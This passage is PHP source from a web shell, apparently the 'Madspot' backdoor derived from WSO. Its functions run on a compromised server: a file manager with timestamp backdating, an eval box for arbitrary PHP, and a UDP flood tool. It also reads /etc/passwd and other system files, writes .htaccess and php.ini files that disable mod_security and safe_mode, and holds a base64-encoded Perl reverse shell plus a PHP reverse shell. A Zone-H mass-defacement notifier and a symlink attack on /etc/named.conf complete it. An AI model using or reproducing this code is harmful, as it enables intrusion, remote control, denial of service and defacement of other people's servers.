$ow = @posix_getpwuid(@fileowner($dirContent[$i])); | |
$gr = @posix_getgrgid(@filegroup($dirContent[$i])); | |
$tmp = array('name' => $dirContent[$i], | |
'path' => $GLOBALS['cwd'].$dirContent[$i], | |
'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), | |
'perms' => madPermsColor($GLOBALS['cwd'] . $dirContent[$i]), | |
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), | |
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), | |
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) | |
); | |
if(@is_file($GLOBALS['cwd'] . $dirContent[$i])) | |
$files[] = array_merge($tmp, array('type' => 'file')); | |
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i])) | |
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); | |
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != ".")) | |
$dirs[] = array_merge($tmp, array('type' => 'dir')); | |
} | |
$GLOBALS['sort'] = $sort; | |
function wsoCmp($a, $b) { | |
if($GLOBALS['sort'][0] != 'size') | |
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); | |
else | |
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); | |
} | |
usort($files, "wsoCmp"); | |
usort($dirs, "wsoCmp"); | |
$files = array_merge($dirs, $files); | |
$l = 0; | |
foreach($files as $f) { | |
echo '<tr'.($l?' class=l1':'').'><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td><td>'.(($f['type']=='file')?madSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'] | |
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'<a href="#" onclick="g(\'FilesMan\',null,\'delete\', \''.urlencode($f['name']).'\')"> X </a></td></tr>'; | |
$l = $l?0:1; | |
} | |
echo "<tr><td colspan=7> | |
<input type=hidden name=a value='FilesMan'> | |
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'> | |
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'> | |
</form></table></div>"; | |
madfooter(); | |
} | |
function madFilesTools() { | |
if( isset($_POST['p1']) ) | |
$_POST['p1'] = urldecode($_POST['p1']); | |
if(@$_POST['p2']=='download') { | |
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { | |
ob_start("ob_gzhandler", 4096); | |
header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); | |
if (function_exists("mime_content_type")) { | |
$type = @mime_content_type($_POST['p1']); | |
header("Content-Type: " . $type); | |
} else | |
header("Content-Type: application/octet-stream"); | |
$fp = @fopen($_POST['p1'], "r"); | |
if($fp) { | |
while(!@feof($fp)) | |
echo @fread($fp, 1024); | |
fclose($fp); | |
} | |
}exit; | |
} | |
if( @$_POST['p2'] == 'mkfile' ) { | |
if(!file_exists($_POST['p1'])) { | |
$fp = @fopen($_POST['p1'], 'w'); | |
if($fp) { | |
$_POST['p2'] = "edit"; | |
fclose($fp); | |
} | |
} | |
} | |
madhead(); | |
echo '<div class=header>'; | |
if( !file_exists(@$_POST['p1']) ) { | |
echo "<pre class=ml1 style='margin-top:5px'>FILE DOEST NOT EXITS </pre></div>"; | |
madFooter(); | |
return; | |
} | |
$uid = @posix_getpwuid(@fileowner($_POST['p1'])); | |
if(!$uid) { | |
$uid['name'] = @fileowner($_POST['p1']); | |
$gid['name'] = @filegroup($_POST['p1']); | |
} else $gid = @posix_getgrgid(@filegroup($_POST['p1'])); | |
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?madSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.madPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>'; | |
echo '<br>'; | |
if( empty($_POST['p2']) ) | |
$_POST['p2'] = 'view'; | |
if( is_file($_POST['p1']) ) | |
$m = array('View', 'Highlight', 'Download', 'Edit', 'Chmod', 'Rename', 'Touch'); | |
else | |
$m = array('Chmod', 'Rename', 'Touch'); | |
foreach($m as $v) | |
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')"><span>'.((strtolower($v)==@$_POST['p2'])?'<b><span> '.$v.' </span> </b>':$v).' </span></a> '; | |
echo '<br><br>'; | |
switch($_POST['p2']) { | |
case 'view': | |
echo '<pre class=ml1>'; | |
$fp = @fopen($_POST['p1'], 'r'); | |
if($fp) { | |
while( !@feof($fp) ) | |
echo htmlspecialchars(@fread($fp, 1024)); | |
@fclose($fp); | |
} | |
echo '</pre>'; | |
break; | |
case 'highlight': | |
if( @is_readable($_POST['p1']) ) { | |
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">'; | |
$code = @highlight_file($_POST['p1'],true); | |
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>'; | |
} | |
break; | |
case 'chmod': | |
if( !empty($_POST['p3']) ) { | |
$perms = 0; | |
for($i=strlen($_POST['p3'])-1;$i>=0;--$i) | |
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); | |
if(!@chmod($_POST['p1'], $perms)) | |
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>'; | |
} | |
clearstatcache(); | |
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>'; | |
break; | |
case 'edit': | |
if( !is_writable($_POST['p1'])) { | |
echo 'File isn\'t writeable'; | |
break; | |
} | |
if( !empty($_POST['p3']) ) { | |
$time = @filemtime($_POST['p1']); | |
$_POST['p3'] = substr($_POST['p3'],1); | |
$fp = @fopen($_POST['p1'],"w"); | |
if($fp) { | |
@fwrite($fp,$_POST['p3']); | |
@fclose($fp); | |
echo 'Saved!<br><script>p3_="";</script>'; | |
@touch($_POST['p1'],$time,$time); | |
} | |
} | |
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>'; | |
$fp = @fopen($_POST['p1'], 'r'); | |
if($fp) { | |
while( !@feof($fp) ) | |
echo htmlspecialchars(@fread($fp, 1024)); | |
@fclose($fp); | |
} | |
echo '</textarea><input type=submit value=">>"></form>'; | |
break; | |
case 'hexdump': | |
$c = @file_get_contents($_POST['p1']); | |
$n = 0; | |
$h = array('00000000<br>','',''); | |
$len = strlen($c); | |
for ($i=0; $i<$len; ++$i) { | |
$h[1] .= sprintf('%02X',ord($c[$i])).' '; | |
switch ( ord($c[$i]) ) { | |
case 0: $h[2] .= ' '; break; | |
case 9: $h[2] .= ' '; break; | |
case 10: $h[2] .= ' '; break; | |
case 13: $h[2] .= ' '; break; | |
default: $h[2] .= $c[$i]; break; | |
} | |
$n++; | |
if ($n == 32) { | |
$n = 0; | |
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';} | |
$h[1] .= '<br>'; | |
$h[2] .= "\n"; | |
} | |
} | |
echo '<table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>'; | |
break; | |
case 'rename': | |
if( !empty($_POST['p3']) ) { | |
if(!@rename($_POST['p1'], $_POST['p3'])) | |
echo 'Can\'t rename!<br>'; | |
else | |
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>'); | |
} | |
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>'; | |
break; | |
case 'touch': | |
if( !empty($_POST['p3']) ) { | |
$time = strtotime($_POST['p3']); | |
if($time) { | |
if(!touch($_POST['p1'],$time,$time)) | |
echo 'Fail!'; | |
else | |
echo 'Touched!'; | |
} else echo 'Bad time format!'; | |
} | |
clearstatcache(); | |
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; | |
break; | |
} | |
echo '</div>'; | |
madFooter(); | |
} | |
function madphpeval() | |
{ | |
madhead(); | |
if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) { | |
echo '<div class=header>'; | |
ob_start(); | |
$INI=ini_get_all(); | |
print '<table border=0><tr>' | |
.'<td class="listing"><font class="highlight_txt">Param</td>' | |
.'<td class="listing"><font class="highlight_txt">Global value</td>' | |
.'<td class="listing"><font class="highlight_txt">Local Value</td>' | |
.'<td class="listing"><font class="highlight_txt">Access</td></tr>'; | |
foreach ($INI as $param => $values) | |
print "\n".'<tr>' | |
.'<td class="listing"><b>'.$param.'</td>' | |
.'<td class="listing">'.$values['global_value'].' </td>' | |
.'<td class="listing">'.$values['local_value'].' </td>' | |
.'<td class="listing">'.$values['access'].' </td></tr>'; | |
$tmp = ob_get_clean(); | |
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp); | |
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); | |
echo str_replace('<h1','<h2', $tmp) .'</div><br>'; | |
} | |
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { | |
echo '<div class=header><style>.p {color:#000;}</style>'; | |
ob_start(); | |
phpinfo(); | |
$tmp = ob_get_clean(); | |
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp); | |
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); | |
echo str_replace('<h1','<h2', $tmp) .'</div><br>'; | |
} | |
if(isset($_POST['p2']) && ($_POST['p2'] == 'exten')) { | |
echo '<div class=header>'; | |
ob_start(); | |
$EXT=get_loaded_extensions (); | |
print '<table border=0><tr><td class="listing">' | |
.implode('</td></tr>'."\n".'<tr><td class="listing">', $EXT) | |
.'</td></tr></table>' | |
.count($EXT).' extensions loaded'; | |
echo '</div><br>'; | |
} | |
if(empty($_POST['ajax']) && !empty($_POST['p1'])) | |
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false; | |
echo '<div class=header><Center><a href=# onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=# onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=# onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form name=pf method=post onsubmit="g(\'phpeval\',null,this.code.value,\'\'); return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><center><input type=submit value=Eval style="margin-top:5px"></center>'; | |
echo '</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; | |
if(!empty($_POST['p1'])) { | |
ob_start(); | |
eval($_POST['p1']); | |
echo htmlspecialchars(ob_get_clean()); | |
} | |
echo '</pre></div>'; | |
madfooter(); | |
} | |
function madhash() | |
{ | |
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} | |
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}} | |
if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}} | |
if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}} | |
if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}} | |
$stringTools = array( | |
'Base64 encode' => 'base64_encode', | |
'Base64 decode' => 'base64_decode', | |
'md5 hash' => 'md5', | |
'sha1 hash' => 'sha1', | |
'crypt' => 'crypt', | |
'CRC32' => 'crc32', | |
'Url encode' => 'urlencode', | |
'Url decode' => 'urldecode', | |
'Full urlencode' => 'full_urlencode', | |
'Htmlspecialchars' => 'htmlspecialchars', | |
); | |
madhead(); | |
echo '<div class=header>'; | |
if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; | |
echo "<form onSubmit='g(null,null,this.selectTool.value,this.input.value); return false;'><select name='selectTool'>"; | |
foreach($stringTools as $k => $v) | |
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>"; | |
echo "</select><input type='submit' value='>>'/><br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; | |
if(!empty($_POST['p1'])) { | |
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); | |
} | |
echo "</div>"; | |
madFooter(); | |
} | |
function maddos() | |
{ | |
madhead(); | |
echo '<div class=header>'; | |
if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; | |
echo '<center><span>| UDP DOSSIER |</span><br><br><form onSubmit="g(null,null,this.udphost.value,this.udptime.value,this.udpport.value); return false;" method=POST><span>Host :</span><input name="udphost" type="text" size="25" /><span>Time :</span><input name="udptime" type="text" size="15" /><span>Port :</span><input name="udpport" type="text" size="10" /><input type="submit" value=">>" /></form></center>'; | |
echo "<pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' >"; | |
if(!empty($_POST['p1']) && !empty($_POST['p2']) && !empty($_POST['p3'])) | |
{ | |
$packets=0; | |
ignore_user_abort(true); | |
$exec_time=$_POST['p2']; | |
$time=time(); | |
$max_time=$exec_time+$time; | |
$host=$_POST['p1']; | |
$portudp=$_POST['p3']; | |
for($i=0;$i<65000;$i++) | |
{ | |
$out .= 'X'; | |
} | |
while(1){ | |
$packets++; | |
if(time() > $max_time){ | |
break; | |
} | |
$fp = fsockopen('udp://'.$host, $portudp, $errno, $errstr, 5); | |
if($fp){ | |
fwrite($fp, $out); | |
fclose($fp); | |
} | |
} | |
echo "$packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second"; | |
echo "</pre>"; | |
} | |
echo '</div>'; | |
madfooter(); | |
} | |
function madproc() | |
{ | |
madhead(); | |
echo "<Div class=header><center>"; | |
if(empty($_POST['ajax'])&&!empty($_POST['p1'])) | |
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; | |
if($GLOBALS['sys']=="win") | |
{ | |
$process=array( | |
"System Info" =>"systeminfo", | |
"Active Connections" => "netstat -an", | |
"Running Services" => "net start", | |
"User Accounts" => "net user", | |
"Show Computers" => "net view", | |
"ARP Table" => "arp -a", | |
"IP Configuration" => "ipconfig /all" | |
); | |
} | |
else | |
{ | |
$process=array( | |
"Process status" => "ps aux", | |
"Syslog" =>"cat /etc/syslog.conf", | |
"Resolv" => "cat /etc/resolv.conf", | |
"Hosts" =>"cat /etc/hosts", | |
"Passwd" =>"cat /etc/passwd", | |
"Cpuinfo"=>"cat /proc/cpuinfo", | |
"Version"=>"cat /proc/version", | |
"Sbin"=>"ls -al /usr/sbin", | |
"Interrupts"=>"cat /proc/interrupts", | |
"lsattr"=>"lsattr -va", | |
"Uptime"=>"uptime", | |
"Fstab" =>"cat /etc/fstab", | |
"HDD Space" => "df -h" | |
);} | |
foreach($process as $n => $link) | |
{ | |
echo '<a href="#" onclick="g(null,null,\''.$link.'\')"> | '.$n.' | </a>'; | |
} | |
echo "</center>"; | |
if(!empty($_POST['p1'])) | |
{ | |
echo "<pre class='ml1' style='margin-top:5px' >"; | |
echo madEx($_POST['p1']); | |
echo '</pre>'; | |
} | |
echo "</div>"; | |
madfooter(); | |
} | |
function madsafe() | |
{ | |
madhead(); | |
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br>"; | |
echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>'; | |
if(!empty($_POST['p2']) && isset($_POST['p2'])) | |
{ | |
$fil=fopen($GLOBALS['cwd'].".htaccess","w"); | |
fwrite($fil,'<IfModule mod_security.c> | |
Sec------Engine Off | |
Sec------ScanPOST Off | |
</IfModule>'); | |
fclose($fil); | |
} | |
if(!empty($_POST['p1'])&& isset($_POST['p1'])) | |
{ | |
$fil=fopen($GLOBALS['cwd']."php.ini","w"); | |
fwrite($fil,'safe_mode=OFF | |
disable_functions=NONE'); | |
fclose($fil); | |
} | |
if(!empty($_POST['p3']) && isset($_POST['p3'])) | |
{ | |
$fil=fopen($GLOBALS['cwd'].".htaccess","w"); | |
fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI | |
AddType application/x-httpd-cgi .sh | |
AddHandler cgi-script .pl | |
AddHandler cgi-script .pl'); | |
fclose($fil); | |
} | |
echo "<br></div>"; | |
madfooter(); | |
} | |
function madconnect() | |
{ | |
madhead(); | |
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; | |
echo "<div class=header><center><h3><span>| PERL AND PHP(threads) BACK CONNECT |</span></h3>"; | |
echo "<form onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"><span>PERL BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form>"; | |
echo "<br><form onSubmit=\"g(null,null,'php',this.server.value,this.port.value);return false;\"><span>PHP BACK CONNECT</span><br>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='443'> <input type=submit value='>>'></form></center>"; | |
if(isset($_POST['p1'])) { | |
function cf($f,$t) { | |
$w = @fopen($f,"w") or @function_exists('file_put_contents'); | |
if($w){ | |
@fwrite($w,@base64_decode($t)); | |
@fclose($w); | |
} | |
} | |
if($_POST['p1'] == 'bcp') { | |
cf("/tmp/bc.pl",$back_connect_p); | |
$out = madEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); | |
echo "<pre class=ml1 style='margin-top:5px'>Successfully opened reverse shell to ".$_POST['p2'].":".$_POST['p3']."<br>Connecting...</pre>"; | |
@unlink("/tmp/bc.pl"); | |
} | |
if($_POST['p1']=='php') | |
{ | |
@set_time_limit (0); | |
$ip = $_POST['p2']; | |
$port =$_POST['p3']; | |
$chunk_size = 1400; | |
$write_a = null; | |
$error_a = null; | |
$shell = 'uname -a; w; id; /bin/sh -i'; | |
$daemon = 0; | |
$debug = 0; | |
echo "<pre class=ml1 style='margin-top:5px'>"; | |
if (function_exists('pcntl_fork')) { | |
$pid = pcntl_fork(); | |
if ($pid == -1) { | |
echo "Cant fork!<br>"; | |
exit(1); | |
} | |
if ($pid) { | |
exit(0); | |
} | |
if (posix_setsid() == -1) { | |
echo "Error: Can't setsid()<br>"; | |
exit(1); | |
} | |
$daemon = 1; | |
} else { | |
echo "WARNING: Failed to daemonise. This is quite common and not fatal<br>"; | |
} | |
chdir("/"); | |
umask(0); | |
$sock = fsockopen($ip, $port, $errno, $errstr, 30); | |
if (!$sock) { | |
echo "$errstr ($errno)"; | |
exit(1); | |
} | |
$descriptorspec = array( | |
0 => array("pipe", "r"), | |
1 => array("pipe", "w"), | |
2 => array("pipe", "w") | |
); | |
$process = proc_open($shell, $descriptorspec, $pipes); | |
if (!is_resource($process)) { | |
echo "ERROR: Can't spawn shell<br>"; | |
exit(1); | |
} | |
@stream_set_blocking($pipes[0], 0); | |
@stream_set_blocking($pipes[1], 0); | |
@stream_set_blocking($pipes[2], 0); | |
@stream_set_blocking($sock, 0); | |
echo "Successfully opened reverse shell to $ip:$port<br>"; | |
while (1) { | |
if (feof($sock)) { | |
echo "ERROR: Shell connection terminated<br>"; | |
break; | |
} | |
if (feof($pipes[1])) { | |
echo "ERROR: Shell process terminated<br>"; | |
break; | |
} | |
$read_a = array($sock, $pipes[1], $pipes[2]); | |
$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null); | |
if (in_array($sock, $read_a)) { | |
if ($debug) echo "SOCK READ<br>"; | |
$input=fread($sock, $chunk_size); | |
if ($debug) echo "SOCK: $input<br>"; | |
fwrite($pipes[0], $input); | |
} | |
if (in_array($pipes[1], $read_a)) { | |
if ($debug) echo "STDOUT READ<br>"; | |
$input = fread($pipes[1], $chunk_size); | |
if ($debug) echo "STDOUT: $input<br>"; | |
fwrite($sock, $input); | |
} | |
if (in_array($pipes[2], $read_a)) { | |
if ($debug) echo "STDERR READ<br>"; | |
$input = fread($pipes[2], $chunk_size); | |
if ($debug) echo "STDERR: $input<br>"; | |
fwrite($sock, $input); | |
} | |
} | |
fclose($sock); | |
fclose($pipes[0]); | |
fclose($pipes[1]); | |
fclose($pipes[2]); | |
proc_close($process); | |
echo "</pre>"; | |
} | |
} | |
echo "</div>"; | |
madfooter(); | |
} | |
function ZoneH($url, $hacker, $hackmode,$reson, $site ) | |
{ | |
$k = curl_init(); | |
curl_setopt($k, CURLOPT_URL, $url); | |
curl_setopt($k,CURLOPT_POST,true); | |
curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson); | |
curl_setopt($k,CURLOPT_FOLLOWLOCATION, true); | |
curl_setopt($k, CURLOPT_RETURNTRANSFER, true); | |
$kubra = curl_exec($k); | |
curl_close($k); | |
return $kubra; | |
} | |
function madzoneh() | |
{ | |
madhead(); | |
if(!function_exists('curl_version')) | |
{ | |
echo "<pre class=ml1 style='margin-top:5px'><center><font color=red>PHP CURL NOT EXIT</font></center></pre>"; | |
} | |
echo "<div class=header><center><br>"; | |
echo '<h3><span>|ZONE-H MASS DEFACER |</span></h3> | |
<form onSubmit="g(null,null,this.defacer.value,this.hackmode.value,this.domain.value);return false;" > | |
<span>| Notifier |</span><br> | |
<input type="text" name=defacer size="40" value="Attacker" /><br> | |
<select name=hackmode> | |
<option >--------SELECT--------</option> | |
<option value="1">known vulnerability (i.e. unpatched system)</option> | |
<option value="2" >undisclosed (new) vulnerability</option> | |
<option value="3" >configuration / admin. mistake</option> | |
<option value="4" >brute force attack</option> | |
<option value="5" >social engineering</option> | |
<option value="6" >Web Server intrusion</option> | |
<option value="7" >Web Server external module intrusion</option> | |
<option value="8" >Mail Server intrusion</option> | |
<option value="9" >FTP Server intrusion</option> | |
<option value="10" >SSH Server intrusion</option> | |
<option value="11" >Telnet Server intrusion</option> | |
<option value="12" >RPC Server intrusion</option> | |
<option value="13" >Shares misconfiguration</option> | |
<option value="14" >Other Server intrusion</option> | |
<option value="15" >SQL Injection</option> | |
<option value="16" >URL Poisoning</option> | |
<option value="17" >File Inclusion</option> | |
<option value="18" >Other Web Application bug</option> | |
<option value="19" >Remote administrative panel access bruteforcing</option> | |
<option value="20" >Remote administrative panel access password guessing</option> | |
<option value="21" >Remote administrative panel access social engineering</option> | |
<option value="22" >Attack against administrator(password stealing/sniffing)</option> | |
<option value="23" >Access credentials through Man In the Middle attack</option> | |
<option value="24" >Remote service password guessing</option> | |
<option value="25" >Remote service password bruteforce</option> | |
<option value="26" >Rerouting after attacking the Firewall</option> | |
<option value="27" >Rerouting after attacking the Router</option> | |
<option value="28" >DNS attack through social engineering</option> | |
<option value="29" >DNS attack through cache poisoning</option> | |
<option value="30" >Not available</option> | |
</select><br> | |
<select > | |
<option >Not available</option> | |
<option value="1" >Heh...just for fun!</option> | |
<option value="2" >Revenge against that website</option> | |
<option value="3" >Political reasons</option> | |
<option value="4" >As a challenge</option> | |
<option value="5" >I just want to be the best defacer</option> | |
<option value="6" >Patriotism</option> | |
<option value="7" >Not available</option> | |
</select><br> | |
<textarea name=domain cols="50" rows="15">List Of Domains</textarea> | |
<br> | |
<input type="submit" value=">>" /></form>'; | |
if(isset($_POST['p1']) && isset($_POST['p2'])) | |
{ | |
$hacker =$_POST['p1']; | |
$method =$_POST['p2']; | |
$neden ="Not available"; | |
$site =$_POST['p3']; | |
$i = 0; | |
$sites = explode("\n", $site); | |
echo "<pre class=ml1 style='margin-top:5px'>"; | |
while($i < count($sites)) | |
{ | |
if(substr($sites[$i], 0, 4) != "http") | |
{ | |
$sites[$i] = "http://".$sites[$i]; | |
} | |
ZoneH("http://zone-h.org/notify/single", $hacker, $method, $neden, $sites[$i]); | |
echo "Site : ".$sites[$i]." Defaced !<br>"; | |
++$i; | |
} | |
"Sending Sites To Zone-H Has Been Completed Successfully !! </pre>"; | |
} | |
echo "</div>"; | |
madfooter(); | |
} | |
function madspot() | |
{ | |
madhead(); | |
echo "<div class=header>"; | |
echo "<pre> | |
|`-:_ | |
,----....____ | `+. | |
( ````----....|___ | | |
\ _ ````----....____ | |
\ _) Coded By: Ikram Ali ```---.._ | |
\ \ | |
)`.\ )`. )`. )`. )`. )`. )`. )`. )`. )`. )hh | |
-' `-' `-' `-' `-' `-' `-' `-' `-' `-' `-' ` | |
Madspot is a Team of professional Ethical Hackers From Pakistan. | |
We have Years of Experience in Security, Penetration & Coding | |
And can Break and Secure. | |
Version 1.0 | |
Contact : http://www.madspot.net | |
if you found bug contact our team | |
.=''=. | |
/ _ _ \ | |
| d b | | |
\ /\ / | |
,/'-=\/=-'\, | |
/ / \ \ ----------------------------- | |
| / Zahid \ | Madspot Digital Security Team | |
\/ \ Rasheed/ \/ ----------------------------- | |
'. .' | |
_|`~~`|_ | |
/|\ /|\ | |
.- <O> -. .-====-. ,-------. .-=<>=-. | |
/_-\'''/-_\ / / '' \ \ |,-----.| /__----__\ | |
|/ o) (o \| | | ')(' | | /,'-----'.\ |/ (')(') \| | |
\ ._. / \ \ / / {_/(') (')\_} \ __ / | |
,>-_,,,_-<. >'=jf='< `. _ .' ,'--__--'. | |
/ Waqar.Khan \ / \ /'-___-'\ / :| \ | |
(_) . (_) / Ikram \ / M-Usman \ (_) :| (_) | |
\_-----'____--/ (_) Ali (_) (_)_______(_) |___:|____| | |
\___________/ |________| \_______/ | Afrasiab| | |
</pre></div>"; | |
madfooter(); | |
} | |
function madsymlink() | |
{ | |
madhead(); | |
$IIIIIIIIIIIl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; | |
$IIIIIIIIIII1=explode('/',$IIIIIIIIIIIl ); | |
$IIIIIIIIIIIl =str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1)-1],'',$IIIIIIIIIIIl ); | |
echo '<div class=header><script>p1_=p2_=p3_="";</script><br><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains | </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| Whole Server Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config PHP symlink | </a></h3></center>'; | |
if(isset($_POST['p1']) && $_POST['p1']=='website') | |
{ | |
echo "<center>"; | |
$d0mains = @file("/etc/named.conf"); | |
if(!$d0mains){ echo "<pre class=ml1 style='margin-top:5px'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; } | |
